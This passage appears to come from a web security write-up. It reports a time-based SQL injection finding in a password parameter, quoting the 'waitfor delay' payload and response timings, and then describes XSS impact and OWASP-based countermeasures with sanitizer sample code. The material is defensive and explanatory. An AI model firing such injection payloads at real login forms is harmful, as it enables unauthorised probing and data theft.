In the second url the password parameter appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the password parameter. The application took 20029 milliseconds to respond to the request, compared with 27 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

Counter Measures: 



*** Same as SQL Injection ***



XSS 

Impact:

Cross-site scripting (XSS) allows malicious client-side script to be inserted into a response page returned by the application and that way make user traffic redirects or session hijacks and perform phi-sing scums or more simplistically speaking perform user impersonation or identity theft (the last one sounds more British e?).   


Counter Measures: 

Here is a list of the thinks that should be made:
  1. Make sure all un-trusted data (meaning all possible injection points) are properly sanitized, the following recommendations should be taken into consideration:
  2. Never Insert Untrusted Data Except in Allowed Locations
  3. HTML Escape Before Inserting Untrusted Data into HTML Element Content
  4. Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes
  5. JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values
  6. CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values
  7. URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values
  8. Use an HTML Policy engine to validate or clean user-driven HTML in an outbound way
Based on OWASP recommendation it best to use an HTML Policy engine to validate or clean user-driven HTML in an outbound way (for more information check out the references).

OWASP AntiSamy sample code

import org.owasp.validator.html.*;

Policy policy = Policy.getInstance(POLICY_FILE_LOCATION);
AntiSamy as = new AntiSamy();
CleanResults cr = as.scan(dirtyInput, policy);
MyUserDAO.storeUserProfile(cr.getCleanHTML()); // some custom function

OWASP Java HTML Sanitizer sample code:

import org.owasp.html.Sanitizers;
import org.owasp.html.PolicyFactory;

PolicyFactory sanitizer = Sanitizers.FORMATTING.and(Sanitizers.BLOCKS);
String cleanResults = sanitizer.sanitize("<p>Hello, <b>World!</b>");


References:
  1. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
  2. http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/PercentCodec.java
  3. http://owasp-java-html-sanitizer.googlecode.com/svn/trunk/distrib/javadoc/org/owasp/html/Sanitizers.html
  4. Published ibrowser plugin XSS vulnerability: http://secunia.com/advisories/41634
  5. http://en.wikipedia.org/wiki/Risk (Wiki)

    AppSec Review for AI-Generated Code

    Grepping the Robot: AppSec Review for AI-Generated Code APPSEC CODE REVIEW AI CODE Half the code shipping to production in 2026 has a...